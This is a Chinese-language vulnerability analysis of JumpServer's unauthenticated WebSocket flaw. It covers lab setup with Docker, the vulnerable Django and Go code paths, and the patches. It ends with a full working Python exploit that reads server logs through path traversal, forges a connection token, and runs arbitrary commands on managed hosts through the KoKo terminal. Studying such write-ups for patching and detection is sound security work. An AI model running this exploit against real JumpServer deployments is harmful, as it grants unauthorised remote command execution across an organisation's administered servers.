JumpServer Websockets 未授权访问漏洞
JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。
由于JumpServer程序中连接websocket的接口未做授权限制，导致攻击者可构造恶意请求获取服务器敏感信息，通过敏感信息中的相关参数，可构造请求获取相应token，进而可通过相关API操作来执行任意命令。
影响版本
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer=v1.5.9
安全版本
JumpServer >=v2.6.2
JumpServer >=v2.5.4
JumpServer >=v2.4.5
JumpServer=v1.5.9（修复版）
commit记录
搭建JumpServer有三种方式：
项目源码编译搭建，（不推荐搭建复杂，但能了解JumpServer内组件和关键设置）
脚本快速安装（推荐）
Docker容器化安装（推荐）
个人感觉选择Docker最好，方便关键参数设置。
首先创建容器
docker run -d --name mysql --restart=always -e MYSQL_ROOT_PASSWORD=abcd@1234 -p 3306:3306 -v /Users/rai4over/Desktop/mysqldata:/var/lib/mysql mysql:5.7 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
进入容器内
docker exec -it mysql /bin/bash
为创建数据库和对应数据库账户
root@dbf8cbc59abf:/# mysql -u root -pabcd@1234
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.32 MySQL Community Server (GPL)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> create database jumpserver default charset 'utf8mb4';
Query OK, 1 row affected (0.01 sec)
mysql> grant all on jumpserver.* to 'jumpserver'@'%' identified by 'abcd@1234';
Query OK, 0 rows affected, 1 warning (0.01 sec)
mysql> flush privileges;
Query OK, 0 rows affected (0.01 sec)
mysql> exit
Bye
创建实例
docker run -d -it --name redis -p 6379:6379 -v /Users/rai4over/Desktop/redisdata:/data --restart=always --sysctl net.core.somaxconn=1024 redis:4.0.10 --requirepass "123456"
配置环境变量
if [ "$SECRET_KEY" = "" ]; then SECRET_KEY=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 50`; echo "SECRET_KEY=$SECRET_KEY" >> ~/.zshrc; echo $SECRET_KEY; else echo $SECRET_KEY; fi
配置环境变量
if [ "$BOOTSTRAP_TOKEN" = "" ]; then BOOTSTRAP_TOKEN=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 16`; echo "BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN" >> ~/.zshrc; echo $BOOTSTRAP_TOKEN; else echo $BOOTSTRAP_TOKEN; fi
使用两个环境变量并作为参数，创建容器
docker run -d --name jumpserver -h jumpserver --restart=always \
-v /Users/rai4over/Desktop/jumpserverdata:/opt/jumpserver/data/media \
-p 80:80 \
-p 2222:2222 \
-e SECRET_KEY=$SECRET_KEY \
-e BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN \
-e DB_HOST=172.16.191.1 \
-e DB_PORT=3306 \
-e DB_USER=jumpserver \
-e DB_PASSWORD="abcd@1234" \
-e DB_NAME=jumpserver \
-e REDIS_HOST=172.16.191.1 \
-e REDIS_PORT=6379 \
-e REDIS_PASSWORD="123456" \
jumpserver/jms_all:v2.5.3
运行在8080，需要通过运行在80的反向代理Nginx访问。
设置管理的资产、用户的权限
想要使用Web终端，需要对资产、用户进行对应的授权
然后使用Web终端连接管理的主机
漏洞大概分为几个过程：
JumpServer-Websockets-1 接口任意log文件读取，三个关键参数、、。
JumpServer-Websockets-2 接口权限绕过、提升，利用参数生成。
KoKo-Websockets 接口利用生成，控制资产主机进行远程命令执行。
前置的Nginx的路由配置也需要注意
server {
listen 80;
# server_name _;
client_max_body_size 1024m; # 录像及文件上传大小限制
location /ui/ {
try_files $uri / /index.html;
alias /opt/lina/;
expires 24h;
}
location /luna/ {
try_files $uri / /index.html;
alias /opt/luna/;
expires 24h;
}
location /media/ {
add_header Content-Encoding gzip;
root /opt/jumpserver/data/;
}
location /static/ {
root /opt/jumpserver/data/;
expires 24h;
}
location /koko/ {
proxy_pass
proxy_buffering off;
proxy_http_version 1.1;
proxy_request_buffering off;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
access_log off;
}
location /guacamole/ {
proxy_pass
proxy_buffering off;
proxy_http_version 1.1;
proxy_request_buffering off;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
access_log off;
}
location /ws/ {
proxy_pass
proxy_buffering off;
proxy_http_version 1.1;
proxy_request_buffering off;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /api/ {
proxy_pass
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /core/ {
proxy_pass
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location / {
rewrite ^/(.*)$ /ui/$1 last;
}
}
Payload中设计的URL对号入座即可。
需要使用Web终端访问一次资产主机，才会产生漏洞需要的三个关键参数的日志，日志默认位于
文件读取测试
代码位置：apps/ops/ws.py
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected=False
def connect(self):
self.accept()
def receive(self, text_data=None, bytes_data=None, **kwargs):
data=json.loads(text_data)
task_id=data.get("task")
if task_id:
self.handle_task(task_id)
def wait_util_log_path_exist(self, task_id):
log_path=get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r
'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f=open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f=self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark=[]
while not self.disconnected:
data=task_log_f.read(4096)
if data:
data=data.replace(b'
', b'\r
')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') !=-1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) !=-1:
task_end_mark.append(1)
elif len(task_end_mark)==2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread=threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
获取参数，然后进入函数读取日志，调用函数判断路径是否存在并读取，接着调用函数
apps.ops.celery.utils.get_celery_task_log_path
def get_celery_task_log_path(task_id):
task_id=str(task_id)
rel_path=os.path.join(task_id[0], task_id[1], task_id + '.log')
path=os.path.join(settings.CELERY_LOG_DIR, rel_path)
os.makedirs(os.path.dirname(path), exist_ok=True)
return path
目录跳转拼接后得到完整路径，并返回读取入职内容，此时从日志中可以获取、、三个参数。
此处接口的修复方式为增加权限校验：
将前面获取到的三个关键参数传入该接口，进一步获取
代码位置：apps/authentication/api/auth.py
方法重写了接口的访问权限，可以通过重新设置API访问权限为，权限绕过后通过post方法生成一个有效期为20s的。
此处接口的修复方式为删除重写的访问权限：
发送token，获取id
初始化ssh连接
远程命令执行
代码位置：pkg/httpd/webserver.go
无需进行权限校验，跟进函数
获取管理服务器远程命令执行权限。
# coding=utf-8
import asyncio
import websockets
import json
import requests
import re
target_url=''
cmd="ifconfig"
async def get_token():
print('========================================================================================================================================================')
url=target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
print("Request=> " + url + "token")
async with websockets.connect(url, timeout=3) as websocket:
await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
for x in range(1000):
try:
rs=await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv=> " + rs)
if '/api/v1/perms/asset-permissions/user/validate' in rs:
break
except:
print("Vulnerability may not exist")
exit()
print('========================================================================================================================================================')
print('Vulnerability may exist')
pattern=re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
matchObj=pattern.search(rs)
if matchObj:
asset_id=matchObj.group(1)
print('asset_id=' + asset_id)
system_user_id=matchObj.group(2)
print('system_user_id=' + system_user_id)
user_id=matchObj.group(3)
print('user_id=' + user_id)
print('========================================================================================================================================================')
data={'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
url=target_url + '/api/v1/users/connection-token/?user-only=1'
print("Request=> " + url + ' get token')
response=requests.post(url, json=data).json()
print('token=' + response['token'])
print('========================================================================================================================================================')
return response['token']
async def attack(url):
async with websockets.connect(url, timeout=3) as websocket:
print("Request=> " + url)
rs=await websocket.recv()
print("Recv=> " + rs)
id=json.loads(rs)["id"]
print("id=" + id)
print('========================================================================================================================================================')
init_payload=json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
print("Request=> " + "TERMINAL_INIT")
await websocket.send(init_payload)
rs=await websocket.recv()
print("Recv=> " + rs)
rs=""
while "Last login" not in rs:
rs=await websocket.recv()
print("Recv=> " + rs)
cmd_payload=json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r
"})
print("Request=> " + "Cmd Payload")
await websocket.send(cmd_payload)
for x in range(1000):
try:
rs=await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv=> " + rs)
except:
print('========================================================================================================================================================')
print('recv data end')
break
def exp():
token=asyncio.get_event_loop().run_until_complete(get_token())
url=target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
asyncio.get_event_loop().run_until_complete(attack(url))
if __name__=='__main__':
exp()
